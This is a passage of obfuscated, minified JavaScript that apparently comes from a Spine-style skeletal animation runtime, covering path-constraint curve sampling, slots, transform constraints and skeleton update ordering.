_0x3ef788++) { let _0x3cab8b = _0x117c08[_0x3ef788]; if (!(_0x5a2a48 > _0x3cab8b)) { if (0x0 == _0x3ef788) _0x5a2a48 /= _0x3cab8b; else { let _0x296e42 = _0x117c08[_0x3ef788 - 0x1]; _0x5a2a48 = (_0x5a2a48 - _0x296e42) / (_0x3cab8b - _0x296e42); } break; } } if (_0x3ef788 != _0x46816b) { _0x46816b = _0x3ef788; let _0x1890b0 = 0x6 * _0x3ef788; for (_0x5652da = _0x47a3d3[_0x1890b0], _0x223d5c = _0x47a3d3[_0x1890b0 + 0x1], _0x19023e = _0x47a3d3[_0x1890b0 + 0x2], _0x242f74 = _0x47a3d3[_0x1890b0 + 0x3], _0x4b2bc6 = _0x47a3d3[_0x1890b0 + 0x4], _0x5ce790 = _0x47a3d3[_0x1890b0 + 0x5], _0x1b02a9 = _0x47a3d3[_0x1890b0 + 0x6], _0x84bd59 = _0x47a3d3[_0x1890b0 + 0x7], _0x3ddf86 = 0.03 * (_0x5652da - 0x2 * _0x19023e + _0x4b2bc6), _0xdba49e = 0.03 * (_0x223d5c - 0x2 * _0x242f74 + _0x5ce790), _0x529401 = 0.006 * (0x3 * (_0x19023e - _0x4b2bc6) - _0x5652da + _0x1b02a9), _0x49a53e = 0.006 * (0x3 * (_0x242f74 - _0x5ce790) - _0x223d5c + _0x84bd59), _0x11e048 = 0x2 * _0x3ddf86 + _0x529401, _0x3f3869 = 0x2 * _0xdba49e + _0x49a53e, _0x253263 = 0.3 * (_0x19023e - _0x5652da) + _0x3ddf86 + 0.16666667 * _0x529401, _0x4ce78f = 0.3 * (_0x242f74 - _0x223d5c) + _0xdba49e + 0.16666667 * _0x49a53e, _0x1a6046 = Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x5d9a97[0x0] = _0x1a6046, _0x1890b0 = 0x1; _0x1890b0 < 0x8; _0x1890b0++)_0x253263 += _0x11e048, _0x4ce78f += _0x3f3869, _0x11e048 += _0x529401, _0x3f3869 += _0x49a53e, _0x1a6046 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x5d9a97[_0x1890b0] = _0x1a6046; _0x253263 += _0x11e048, _0x4ce78f += _0x3f3869, _0x1a6046 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x5d9a97[0x8] = _0x1a6046, _0x253263 += _0x11e048 + _0x529401, _0x4ce78f += _0x3f3869 + _0x49a53e, _0x1a6046 += Math['sqrt'](_0x253263 * _0x253263 + _0x4ce78f * _0x4ce78f), _0x5d9a97[0x9] = _0x1a6046, _0x2aae6b = 0x0; } for (_0x5a2a48 *= _0x1a6046; ; _0x2aae6b++) { let _0x4fd64a = _0x5d9a97[_0x2aae6b]; if (!(_0x5a2a48 > _0x4fd64a)) { if (0x0 == _0x2aae6b) _0x5a2a48 /= _0x4fd64a; else { let _0x24c772 = _0x5d9a97[_0x2aae6b - 0x1]; _0x5a2a48 = _0x2aae6b + (_0x5a2a48 - _0x24c772) / (_0x4fd64a - _0x24c772); } break; } } this['addCurvePosition'](0.1 * _0x5a2a48, _0x5652da, _0x223d5c, _0x19023e, _0x242f74, _0x4b2bc6, _0x5ce790, _0x1b02a9, _0x84bd59, _0x128d90, _0xe8e420, _0x203524 || _0x2f07b1 > 0x0 && 0x0 == _0x3cd08f); } return _0x128d90; } ['addBeforePosition'](_0xec2aa4, _0x303dbb, _0x1321e1, _0x474ae4, _0x2f9893) { let _0x3c4dea = _0x303dbb[_0x1321e1], _0x57ae55 = _0x303dbb[_0x1321e1 + 0x1], _0x34ebd7 = _0x303dbb[_0x1321e1 + 0x2] - _0x3c4dea, _0x2bebde = _0x303dbb[_0x1321e1 + 0x3] - _0x57ae55, _0x113cc1 = Math['atan2'](_0x2bebde, _0x34ebd7); _0x474ae4[_0x2f9893] = _0x3c4dea + _0xec2aa4 * Math['cos'](_0x113cc1), _0x474ae4[_0x2f9893 + 0x1] = _0x57ae55 + _0xec2aa4 * Math['sin'](_0x113cc1), _0x474ae4[_0x2f9893 + 0x2] = _0x113cc1; } ['addAfterPosition'](_0x56b32c, _0x78c8d3, _0x229983, _0x4f3d43, _0xff66a9) { let _0xe1890 = _0x78c8d3[_0x229983 + 0x2], _0x262694 = _0x78c8d3[_0x229983 + 0x3], _0x18e510 = _0xe1890 - _0x78c8d3[_0x229983], _0x3b3b44 = _0x262694 - _0x78c8d3[_0x229983 + 0x1], _0x14ccd3 = Math['atan2'](_0x3b3b44, _0x18e510); _0x4f3d43[_0xff66a9] = _0xe1890 + _0x56b32c * Math['cos'](_0x14ccd3), _0x4f3d43[_0xff66a9 + 0x1] = _0x262694 + _0x56b32c * Math['sin'](_0x14ccd3), _0x4f3d43[_0xff66a9 + 0x2] = _0x14ccd3; } ['addCurvePosition'](_0xea0812, _0x4d133e, _0x5dce14, _0xea3bc2, _0x474b5f, _0xe21744, _0x553321, _0x54d362, _0x56e24d, _0x59fd32, _0xc6ed81, _0x4e9220) { if (0x0 == _0xea0812 || isNaN(_0xea0812)) return _0x59fd32[_0xc6ed81] = _0x4d133e, _0x59fd32[_0xc6ed81 + 0x1] = _0x5dce14, void (_0x59fd32[_0xc6ed81 + 0x2] = Math['atan2'](_0x474b5f - _0x5dce14, _0xea3bc2 - _0x4d133e)); let _0x2ccf7c = _0xea0812 * _0xea0812, _0x333463 = _0x2ccf7c * _0xea0812, _0x4c571a = 0x1 - _0xea0812, _0x5aaf9e = _0x4c571a * _0x4c571a, _0x3597d3 = _0x5aaf9e * _0x4c571a, _0x3a4ea3 = _0x4c571a * _0xea0812, _0x549c71 = 0x3 * _0x3a4ea3, _0xdf9304 = _0x4c571a * _0x549c71, _0x4df552 = _0x549c71 * _0xea0812, _0x162719 = _0x4d133e * _0x3597d3 + _0xea3bc2 * _0xdf9304 + _0xe21744 * _0x4df552 + _0x54d362 * _0x333463, _0x2c82a4 = _0x5dce14 * _0x3597d3 + _0x474b5f * _0xdf9304 + _0x553321 * _0x4df552 + _0x56e24d * _0x333463; _0x59fd32[_0xc6ed81] = _0x162719, _0x59fd32[_0xc6ed81 + 0x1] = _0x2c82a4, _0x4e9220 && (_0x59fd32[_0xc6ed81 + 0x2] = _0xea0812 < 0.001 ? Math['atan2'](_0x474b5f - _0x5dce14, _0xea3bc2 - _0x4d133e) : Math['atan2'](_0x2c82a4 - (_0x5dce14 * _0x5aaf9e + _0x474b5f * _0x3a4ea3 * 0x2 + _0x553321 * _0x2ccf7c), _0x162719 - (_0x4d133e * _0x5aaf9e + _0xea3bc2 * _0x3a4ea3 * 0x2 + _0xe21744 * _0x2ccf7c))); } }, _0x253126 = _0x3f73ad; _0x253126['NONE'] = -0x1, _0x253126['BEFORE'] = -0x2, _0x253126['AFTER'] = -0x3, _0x253126['epsilon'] = 0.00001; var _0x1a1cac = class { constructor(_0x1cf363, _0x4df048) { if (this['darkColor'] = null, this['attachment'] = null, this['attachmentState'] = 0x0, this['sequenceIndex'] = -0x1, this['deform'] = new Array(), !_0x1cf363) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x4df048) throw new Error('bone\x20cannot\x20be\x20null.'); this['data'] = _0x1cf363, this['bone'] = _0x4df048, this['color'] = new _0x1acaf1(), this['darkColor'] = _0x1cf363['darkColor'] ? new _0x1acaf1() : null, this['setToSetupPose'](); } ['getSkeleton']() { return this['bone']['skeleton']; } ['getAttachment']() { return this['attachment']; } ['setAttachment'](_0x4c5bf7) { this['attachment'] != _0x4c5bf7 && (_0x4c5bf7 instanceof _0x3d7263 && this['attachment'] instanceof _0x3d7263 && _0x4c5bf7['timelineAttachment'] == this['attachment']['timelineAttachment'] || (this['deform']['length'] = 0x0), this['attachment'] = _0x4c5bf7, this['sequenceIndex'] = -0x1); } ['setToSetupPose']() { this['color']['setFromColor'](this['data']['color']), this['darkColor'] && this['darkColor']['setFromColor'](this['data']['darkColor']), this['data']['attachmentName'] ? (this['attachment'] = null, this['setAttachment'](this['bone']['skeleton']['getAttachment'](this['data']['index'], this['data']['attachmentName']))) : this['attachment'] = null; } }, _0x41bd97 = class { constructor(_0x44843b, _0x7167ae) { if (this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['mixScaleX'] = 0x0, this['mixScaleY'] = 0x0, this['mixShearY'] = 0x0, this['temp'] = new _0x6ada3(), this['active'] = !0x1, !_0x44843b) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x7167ae) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x44843b, this['mixRotate'] = _0x44843b['mixRotate'], this['mixX'] = _0x44843b['mixX'], this['mixY'] = _0x44843b['mixY'], this['mixScaleX'] = _0x44843b['mixScaleX'], this['mixScaleY'] = _0x44843b['mixScaleY'], this['mixShearY'] = _0x44843b['mixShearY'], this['bones'] = new Array(); for (let _0x4934b2 = 0x0; _0x4934b2 < _0x44843b['bones']['length']; _0x4934b2++) { let _0x39c433 = _0x7167ae['findBone'](_0x44843b['bones'][_0x4934b2]['name']); if (!_0x39c433) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x44843b['bones'][_0x4934b2]['name'] + '.'); this['bones']['push'](_0x39c433); } let _0x5df7d0 = _0x7167ae['findBone'](_0x44843b['target']['name']); if (!_0x5df7d0) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x44843b['target']['name'] + '.'); this['target'] = _0x5df7d0; } ['isActive']() { return this['active']; } ['update']() { 0x0 == this['mixRotate'] && 0x0 == this['mixX'] && 0x0 == this['mixY'] && 0x0 == this['mixScaleX'] && 0x0 == this['mixScaleY'] && 0x0 == this['mixShearY'] || (this['data']['local'] ? this['data']['relative'] ? this['applyRelativeLocal']() : this['applyAbsoluteLocal']() : this['data']['relative'] ? this['applyRelativeWorld']() : this['applyAbsoluteWorld']()); } ['applyAbsoluteWorld']() { let _0x3c3270 = this['mixRotate'], _0x3c08b0 = this['mixX'], _0x150a91 = this['mixY'], _0x9dd68a = this['mixScaleX'], _0x253e87 = this['mixScaleY'], _0x58bb21 = this['mixShearY'], _0x48d07e = 0x0 != _0x3c08b0 || 0x0 != _0x150a91, _0x5f0a6d = this['target'], _0x14138c = _0x5f0a6d['a'], _0x14f575 = _0x5f0a6d['b'], _0x21b40d = _0x5f0a6d['c'], _0x2d7956 = _0x5f0a6d['d'], _0x560eb0 = _0x14138c * _0x2d7956 - _0x14f575 * _0x21b40d > 0x0 ? _0x19ba92['degRad'] : -_0x19ba92['degRad'], _0x10f87a = this['data']['offsetRotation'] * _0x560eb0, _0x4b9d65 = this['data']['offsetShearY'] * _0x560eb0, _0x3c2778 = this['bones']; for (let _0x3e408d = 0x0, _0x267aae = _0x3c2778['length']; _0x3e408d < _0x267aae; _0x3e408d++) { let _0x4b3428 = _0x3c2778[_0x3e408d]; if (0x0 != _0x3c3270) { let _0x218b0b = _0x4b3428['a'], _0x4b4fff = _0x4b3428['b'], _0x193ac4 = _0x4b3428['c'], _0x5377b4 = _0x4b3428['d'], _0x566957 = Math['atan2'](_0x21b40d, _0x14138c) - Math['atan2'](_0x193ac4, _0x218b0b) + _0x10f87a; _0x566957 > _0x19ba92['PI'] ? _0x566957 -= _0x19ba92['PI2'] : _0x566957 < -_0x19ba92['PI'] && (_0x566957 += _0x19ba92['PI2']), _0x566957 *= _0x3c3270; let _0x35b15b = Math['cos'](_0x566957), _0x4dfa76 = Math['sin'](_0x566957); _0x4b3428['a'] = _0x35b15b * _0x218b0b - _0x4dfa76 * _0x193ac4, _0x4b3428['b'] = _0x35b15b * _0x4b4fff - _0x4dfa76 * _0x5377b4, _0x4b3428['c'] = _0x4dfa76 * _0x218b0b + _0x35b15b * _0x193ac4, _0x4b3428['d'] = _0x4dfa76 * _0x4b4fff + _0x35b15b * _0x5377b4; } if (_0x48d07e) { let _0x27b7c4 = this['temp']; _0x5f0a6d['localToWorld'](_0x27b7c4['set'](this['data']['offsetX'], this['data']['offsetY'])), _0x4b3428['worldX'] += (_0x27b7c4['x'] - _0x4b3428['worldX']) * _0x3c08b0, _0x4b3428['worldY'] += (_0x27b7c4['y'] - _0x4b3428['worldY']) * _0x150a91; } if (0x0 != _0x9dd68a) { let _0x20e9cc = Math['sqrt'](_0x4b3428['a'] * _0x4b3428['a'] + _0x4b3428['c'] * _0x4b3428['c']); 0x0 != _0x20e9cc && (_0x20e9cc = (_0x20e9cc + (Math['sqrt'](_0x14138c * _0x14138c + _0x21b40d * _0x21b40d) - _0x20e9cc + this['data']['offsetScaleX']) * _0x9dd68a) / _0x20e9cc), _0x4b3428['a'] *= _0x20e9cc, _0x4b3428['c'] *= _0x20e9cc; } if (0x0 != _0x253e87) { let _0x509cec = Math['sqrt'](_0x4b3428['b'] * _0x4b3428['b'] + _0x4b3428['d'] * _0x4b3428['d']); 0x0 != _0x509cec && (_0x509cec = (_0x509cec + (Math['sqrt'](_0x14f575 * _0x14f575 + _0x2d7956 * _0x2d7956) - _0x509cec + this['data']['offsetScaleY']) * _0x253e87) / _0x509cec), _0x4b3428['b'] *= _0x509cec, _0x4b3428['d'] *= _0x509cec; } if (_0x58bb21 > 0x0) { let _0x2f173d = _0x4b3428['b'], _0x53835e = _0x4b3428['d'], _0x1ce86e = Math['atan2'](_0x53835e, _0x2f173d), _0xfe64fb = Math['atan2'](_0x2d7956, _0x14f575) - Math['atan2'](_0x21b40d, _0x14138c) - (_0x1ce86e - Math['atan2'](_0x4b3428['c'], _0x4b3428['a'])); _0xfe64fb > _0x19ba92['PI'] ? _0xfe64fb -= _0x19ba92['PI2'] : _0xfe64fb < -_0x19ba92['PI'] && (_0xfe64fb += _0x19ba92['PI2']), _0xfe64fb = _0x1ce86e + (_0xfe64fb + _0x4b9d65) * _0x58bb21; let _0x54403e = Math['sqrt'](_0x2f173d * _0x2f173d + _0x53835e * _0x53835e); _0x4b3428['b'] = Math['cos'](_0xfe64fb) * _0x54403e, _0x4b3428['d'] = Math['sin'](_0xfe64fb) * _0x54403e; } _0x4b3428['updateAppliedTransform'](); } } ['applyRelativeWorld']() { let _0x1a74f3 = this['mixRotate'], _0x538b82 = this['mixX'], _0x4b7e69 = this['mixY'], _0x220d91 = this['mixScaleX'], _0x24fc32 = this['mixScaleY'], _0x2f7513 = this['mixShearY'], _0x934511 = 0x0 != _0x538b82 || 0x0 != _0x4b7e69, _0x105e0d = this['target'], _0x40fb5d = _0x105e0d['a'], _0x30d8ea = _0x105e0d['b'], _0x3c14d6 = _0x105e0d['c'], _0x226aed = _0x105e0d['d'], _0x1cdacb = _0x40fb5d * _0x226aed - _0x30d8ea * _0x3c14d6 > 0x0 ? _0x19ba92['degRad'] : -_0x19ba92['degRad'], _0xfc67a7 = this['data']['offsetRotation'] * _0x1cdacb, _0x5755c3 = this['data']['offsetShearY'] * _0x1cdacb, _0x35816b = this['bones']; for (let _0x46d269 = 0x0, _0x311045 = _0x35816b['length']; _0x46d269 < _0x311045; _0x46d269++) { let _0x20c5b6 = _0x35816b[_0x46d269]; if (0x0 != _0x1a74f3) { let _0x362c3e = _0x20c5b6['a'], _0x3da922 = _0x20c5b6['b'], _0x531967 = _0x20c5b6['c'], _0x3da934 = _0x20c5b6['d'], _0x35a485 = Math['atan2'](_0x3c14d6, _0x40fb5d) + _0xfc67a7; _0x35a485 > _0x19ba92['PI'] ? _0x35a485 -= _0x19ba92['PI2'] : _0x35a485 < -_0x19ba92['PI'] && (_0x35a485 += _0x19ba92['PI2']), _0x35a485 *= _0x1a74f3; let _0x444395 = Math['cos'](_0x35a485), _0x470b8f = Math['sin'](_0x35a485); _0x20c5b6['a'] = _0x444395 * _0x362c3e - _0x470b8f * _0x531967, _0x20c5b6['b'] = _0x444395 * _0x3da922 - _0x470b8f * _0x3da934, _0x20c5b6['c'] = _0x470b8f * _0x362c3e + _0x444395 * _0x531967, _0x20c5b6['d'] = _0x470b8f * _0x3da922 + _0x444395 * _0x3da934; } if (_0x934511) { let _0x21af14 = this['temp']; _0x105e0d['localToWorld'](_0x21af14['set'](this['data']['offsetX'], this['data']['offsetY'])), _0x20c5b6['worldX'] += _0x21af14['x'] * _0x538b82, _0x20c5b6['worldY'] += _0x21af14['y'] * _0x4b7e69; } if (0x0 != _0x220d91) { let _0x15a0b4 = (Math['sqrt'](_0x40fb5d * _0x40fb5d + _0x3c14d6 * _0x3c14d6) - 0x1 + this['data']['offsetScaleX']) * _0x220d91 + 0x1; _0x20c5b6['a'] *= _0x15a0b4, _0x20c5b6['c'] *= _0x15a0b4; } if (0x0 != _0x24fc32) { let _0x5c9b16 = (Math['sqrt'](_0x30d8ea * _0x30d8ea + _0x226aed * _0x226aed) - 0x1 + this['data']['offsetScaleY']) * _0x24fc32 + 0x1; _0x20c5b6['b'] *= _0x5c9b16, _0x20c5b6['d'] *= _0x5c9b16; } if (_0x2f7513 > 0x0) { let _0x209220 = Math['atan2'](_0x226aed, _0x30d8ea) - Math['atan2'](_0x3c14d6, _0x40fb5d); _0x209220 > _0x19ba92['PI'] ? _0x209220 -= _0x19ba92['PI2'] : _0x209220 < -_0x19ba92['PI'] && (_0x209220 += _0x19ba92['PI2']); let _0x392283 = _0x20c5b6['b'], _0x5a769c = _0x20c5b6['d']; _0x209220 = Math['atan2'](_0x5a769c, _0x392283) + (_0x209220 - _0x19ba92['PI'] / 0x2 + _0x5755c3) * _0x2f7513; let _0x50bf2d = Math['sqrt'](_0x392283 * _0x392283 + _0x5a769c * _0x5a769c); _0x20c5b6['b'] = Math['cos'](_0x209220) * _0x50bf2d, _0x20c5b6['d'] = Math['sin'](_0x209220) * _0x50bf2d; } _0x20c5b6['updateAppliedTransform'](); } } ['applyAbsoluteLocal']() { let _0xe20835 = this['mixRotate'], _0x1d4f6d = this['mixX'], _0x23e234 = this['mixY'], _0x2d9ae7 = this['mixScaleX'], _0x4f13cf = this['mixScaleY'], _0x5eab5d = this['mixShearY'], _0x28850f = this['target'], _0x148d62 = this['bones']; for (let _0x6c85a4 = 0x0, _0x42a2eb = _0x148d62['length']; _0x6c85a4 < _0x42a2eb; _0x6c85a4++) { let _0x3183d6 = _0x148d62[_0x6c85a4], _0x181fc7 = _0x3183d6['arotation']; if (0x0 != _0xe20835) { let _0x4011f6 = _0x28850f['arotation'] - _0x181fc7 + this['data']['offsetRotation']; _0x4011f6 -= 0x168 * (0x4000 - (16384.499999999996 - _0x4011f6 / 0x168 | 0x0)), _0x181fc7 += _0x4011f6 * _0xe20835; } let _0x438897 = _0x3183d6['ax'], _0x32f18d = _0x3183d6['ay']; _0x438897 += (_0x28850f['ax'] - _0x438897 + this['data']['offsetX']) * _0x1d4f6d, _0x32f18d += (_0x28850f['ay'] - _0x32f18d + this['data']['offsetY']) * _0x23e234; let _0x32437d = _0x3183d6['ascaleX'], _0x54be76 = _0x3183d6['ascaleY']; 0x0 != _0x2d9ae7 && 0x0 != _0x32437d && (_0x32437d = (_0x32437d + (_0x28850f['ascaleX'] - _0x32437d + this['data']['offsetScaleX']) * _0x2d9ae7) / _0x32437d), 0x0 != _0x4f13cf && 0x0 != _0x54be76 && (_0x54be76 = (_0x54be76 + (_0x28850f['ascaleY'] - _0x54be76 + this['data']['offsetScaleY']) * _0x4f13cf) / _0x54be76); let _0x1b6fdb = _0x3183d6['ashearY']; if (0x0 != _0x5eab5d) { let _0x3bd64f = _0x28850f['ashearY'] - _0x1b6fdb + this['data']['offsetShearY']; _0x3bd64f -= 0x168 * (0x4000 - (16384.499999999996 - _0x3bd64f / 0x168 | 0x0)), _0x1b6fdb += _0x3bd64f * _0x5eab5d; } _0x3183d6['updateWorldTransformWith'](_0x438897, _0x32f18d, _0x181fc7, _0x32437d, _0x54be76, _0x3183d6['ashearX'], _0x1b6fdb); } } ['applyRelativeLocal']() { let _0x27d0f9 = this['mixRotate'], _0x5eb2fb = this['mixX'], _0x33b209 = this['mixY'], _0x5df40d = this['mixScaleX'], _0x466b12 = this['mixScaleY'], _0xea5196 = this['mixShearY'], _0x2b0ab1 = this['target'], _0x2e7ca8 = this['bones']; for (let _0x2d4aa7 = 0x0, _0x1e5225 = _0x2e7ca8['length']; _0x2d4aa7 < _0x1e5225; _0x2d4aa7++) { let _0x45b22d = _0x2e7ca8[_0x2d4aa7], _0x3227fc = _0x45b22d['arotation'] + (_0x2b0ab1['arotation'] + this['data']['offsetRotation']) * _0x27d0f9, _0x3a2a8c = _0x45b22d['ax'] + (_0x2b0ab1['ax'] + this['data']['offsetX']) * _0x5eb2fb, _0x13cf39 = _0x45b22d['ay'] + (_0x2b0ab1['ay'] + this['data']['offsetY']) * _0x33b209, _0xfeaa53 = _0x45b22d['ascaleX'] * ((_0x2b0ab1['ascaleX'] - 0x1 + this['data']['offsetScaleX']) * _0x5df40d + 0x1), _0xa3e6b0 = _0x45b22d['ascaleY'] * ((_0x2b0ab1['ascaleY'] - 0x1 + this['data']['offsetScaleY']) * _0x466b12 + 0x1), _0x8cf4f3 = _0x45b22d['ashearY'] + (_0x2b0ab1['ashearY'] + this['data']['offsetShearY']) * _0xea5196; _0x45b22d['updateWorldTransformWith'](_0x3a2a8c, _0x13cf39, _0x3227fc, _0xfeaa53, _0xa3e6b0, _0x45b22d['ashearX'], _0x8cf4f3); } } }, _0x225915 = class { constructor(_0x3e8c83) { if (this['_updateCache'] = new Array(), this['skin'] = null, this['scaleX'] = 0x1, this['_scaleY'] = 0x1, this['x'] = 0x0, this['y'] = 0x0, !_0x3e8c83) throw new Error('data\x20cannot\x20be\x20null.'); this['data'] = _0x3e8c83, this['bones'] = new Array(); for (let _0x3cc588 = 0x0; _0x3cc588 < _0x3e8c83['bones']['length']; _0x3cc588++) { let _0x3990e8, _0x514e4e = _0x3e8c83['bones'][_0x3cc588]; if (_0x514e4e['parent']) { let _0x1d20a7 = this['bones'][_0x514e4e['parent']['index']]; _0x3990e8 = new _0x58bfd5(_0x514e4e, this, _0x1d20a7), _0x1d20a7['children']['push'](_0x3990e8); } else _0x3990e8 = new _0x58bfd5(_0x514e4e, this, null); this['bones']['push'](_0x3990e8); } this['slots'] = new Array(), this['drawOrder'] = new Array(); for (let _0x572a7b = 0x0; _0x572a7b < _0x3e8c83['slots']['length']; _0x572a7b++) { let _0x5d7160 = _0x3e8c83['slots'][_0x572a7b], _0x5d543c = this['bones'][_0x5d7160['boneData']['index']], _0x463f7c = new _0x1a1cac(_0x5d7160, _0x5d543c); this['slots']['push'](_0x463f7c), this['drawOrder']['push'](_0x463f7c); } this['ikConstraints'] = new Array(); for (let _0xaf2b7d = 0x0; _0xaf2b7d < _0x3e8c83['ikConstraints']['length']; _0xaf2b7d++) { let _0x4fe2cd = _0x3e8c83['ikConstraints'][_0xaf2b7d]; this['ikConstraints']['push'](new _0x552570(_0x4fe2cd, this)); } this['transformConstraints'] = new Array(); for (let _0x429580 = 0x0; _0x429580 < _0x3e8c83['transformConstraints']['length']; _0x429580++) { let _0x5df615 = _0x3e8c83['transformConstraints'][_0x429580]; this['transformConstraints']['push'](new _0x41bd97(_0x5df615, this)); } this['pathConstraints'] = new Array(); for (let _0x9e77d2 = 0x0; _0x9e77d2 < _0x3e8c83['pathConstraints']['length']; _0x9e77d2++) { let _0x30b2ed = _0x3e8c83['pathConstraints'][_0x9e77d2]; this['pathConstraints']['push'](new _0x253126(_0x30b2ed, this)); } this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['updateCache'](); } get ['scaleY']() { return _0x225915['yDown'] ? -this['_scaleY'] : this['_scaleY']; } set ['scaleY'](_0x5c03c1) { this['_scaleY'] = _0x5c03c1; } ['updateCache']() { this['_updateCache']['length'] = 0x0; let _0xc573bd = this['bones']; for (let _0x4a1637 = 0x0, _0x38f27d = _0xc573bd['length']; _0x4a1637 < _0x38f27d; _0x4a1637++) { let _0x43fd4b = _0xc573bd[_0x4a1637]; _0x43fd4b['sorted'] = _0x43fd4b['data']['skinRequired'], _0x43fd4b['active'] = !_0x43fd4b['sorted']; } if (this['skin']) { let _0x29020b = this['skin']['bones']; for (let _0x129dc8 = 0x0, _0x4ba38b = this['skin']['bones']['length']; _0x129dc8 < _0x4ba38b; _0x129dc8++) { let _0x333782 = this['bones'][_0x29020b[_0x129dc8]['index']]; do { _0x333782['sorted'] = !0x1, _0x333782['active'] = !0x0, _0x333782 = _0x333782['parent']; } while (_0x333782); } } let _0x471451 = this['ikConstraints'], _0x38a703 = this['transformConstraints'], _0x5e5bf3 = this['pathConstraints'], _0x543cb3 = _0x471451['length'], _0x128f8a = _0x38a703['length'], _0x1e9839 = _0x5e5bf3['length'], _0x61e9fb = _0x543cb3 + _0x128f8a + _0x1e9839; _0x24474e: for (let _0x106279 = 0x0; _0x106279 < _0x61e9fb; _0x106279++) { for (let _0x309872 = 0x0; _0x309872 < _0x543cb3; _0x309872++) { let _0x54fe02 = _0x471451[_0x309872]; if (_0x54fe02['data']['order'] == _0x106279) { this['sortIkConstraint'](_0x54fe02); continue _0x24474e; } } for (let _0x29298c = 0x0; _0x29298c < _0x128f8a; _0x29298c++) { let _0xf78eb = _0x38a703[_0x29298c]; if (_0xf78eb['data']['order'] == _0x106279) { this['sortTransformConstraint'](_0xf78eb); continue _0x24474e; } } for (let _0x27d85a = 0x0; _0x27d85a < _0x1e9839; _0x27d85a++) { let _0x45fe51 = _0x5e5bf3[_0x27d85a]; if (_0x45fe51['data']['order'] == _0x106279) { this['sortPathConstraint'](_0x45fe51); continue _0x24474e; } } } for (let _0x3bcf9e = 0x0, _0x8476cc = _0xc573bd['length']; _0x3bcf9e < _0x8476cc; _0x3bcf9e++)this['sortBone'](_0xc573bd[_0x3bcf9e]); } ['sortIkConstraint'](_0x19c7ea) { if (_0x19c7ea['active'] = _0x19c7ea['target']['isActive']() && (!_0x19c7ea['data']['skinRequired'] || this['skin'] && _0x5bda80['contains'](this['skin']['constraints'], _0x19c7ea['data'], !0x0)), !_0x19c7ea['active']) return; let _0x3e693f = _0x19c7ea['target']; this['sortBone'](_0x3e693f); let _0x2d9548 = _0x19c7ea['bones'], _0x26ee4f = _0x2d9548[0x0]; if (this['sortBone'](_0x26ee4f), 0x1 == _0x2d9548['length']) this['_updateCache']['push'](_0x19c7ea), this['sortReset'](_0x26ee4f['children']); else { let _0x186e90 = _0x2d9548[_0x2d9548['length'] - 0x1]; this['sortBone'](_0x186e90), this['_updateCache']['push'](_0x19c7ea), this['sortReset'](_0x26ee4f['children']), _0x186e90['sorted'] = !0x0; } } ['sortPathConstraint'](_0x18a215) { if (_0x18a215['active'] = _0x18a215['target']['bone']['isActive']() && (!_0x18a215['data']['skinRequired'] || this['skin'] && _0x5bda80['contains'](this['skin']['constraints'], _0x18a215['data'], !0x0)), !_0x18a215['active']) return; let _0x29b7a5 = _0x18a215['target'], _0x233227 = _0x29b7a5['data']['index'], _0x414e5b = _0x29b7a5['bone']; this['skin'] && this['sortPathConstraintAttachment'](this['skin'], _0x233227, _0x414e5b), this['data']['defaultSkin'] && this['data']['defaultSkin'] != this['skin'] && this['sortPathConstraintAttachment'](this['data']['defaultSkin'], _0x233227, _0x414e5b); for (let _0x53fd64 = 0x0, _0x1f86cc = this['data']['skins']['length']; _0x53fd64 < _0x1f86cc; _0x53fd64++)this['sortPathConstraintAttachment'](this['data']['skins'][_0x53fd64], _0x233227, _0x414e5b); let _0x3301b2 = _0x29b7a5['getAttachment'](); _0x3301b2 instanceof _0x27d2b5 && this['sortPathConstraintAttachmentWith'](_0x3301b2, _0x414e5b); let _0x2cfdcc = _0x18a215['bones'], _0xddb73 = _0x2cfdcc['length']; for (let _0x229350 = 0x0; _0x229350 < _0xddb73; _0x229350++)this['sortBone'](_0x2cfdcc[_0x229350]); this['_updateCache']['push'](_0x18a215); for (let _0x5675a1 = 0x0; _0x5675a1 < _0xddb73; _0x5675a1++)this['sortReset'](_0x2cfdcc[_0x5675a1]['children']); for (let _0x3998c6 = 0x0; _0x3998c6 < _0xddb73; _0x3998c6++)_0x2cfdcc[_0x3998c6]['sorted'] = !0x0; } ['sortTransformConstraint'](_0x8e2871) { if (_0x8e2871['active'] = _0x8e2871['target']['isActive']() && (!_0x8e2871['data']['skinRequired'] || this['skin'] && _0x5bda80['contains'](this['skin']['constraints'], _0x8e2871['data'], !0x0)), !_0x8e2871['active']) return; this['sortBone'](_0x8e2871['target']); let _0x1d43a3 = _0x8e2871['bones'], _0x10b97e = _0x1d43a3['length']; if (_0x8e2871['data']['local']) for (let _0x4ddcea = 0x0; _0x4ddcea < _0x10b97e; _0x4ddcea++) { let _0x507441 = _0x1d43a3[_0x4ddcea]; this['sortBone'](_0x507441['parent']), this['sortBone'](_0x507441); } else { for (let _0x55b829 = 0x0; _0x55b829 < _0x10b97e; _0x55b829++)this['sortBone'](_0x1d43a3[_0x55b829]); } this['_updateCache']['push'](_0x8e2871); for (let _0x2b9877 = 0x0; _0x2b9877 < _0x10b97e; _0x2b9877++)this['sortReset'](_0x1d43a3[_0x2b9877]['children']); for (let _0x45c97b = 0x0; _0x45c97b < _0x10b97e; _0x45c97b++)_0x1d43a3[_0x45c97b]['sorted'] = !0x0; } ['sortPathConstraintAttachment'](_0x3cd9cf, _0x55e5c5, _0x19d196) { let _0xfa47c6 = _0x3cd9cf['attachments'][_0x55e5c5]; if (_0xfa47c6) { for (let _0x31a9d0 in _0xfa47c6) this['sortPathConstraintAttachmentWith'](_0xfa47c6[_0x31a9d0], _0x19d196); } } ['sortPathConstraintAttachmentWith'](_0x4515c9, _0x592a53) { if (!(_0x4515c9 instanceof _0x27d2b5)) return; let _0x2bf4cd = _0x4515c9['bones']; if (_0x2bf4cd) { let _0x5bb110 = this['bones']; for (let _0x12cf99 = 0x0, _0xbc9fca = _0x2bf4cd['length']; _0x12cf99 < _0xbc9fca;) { let 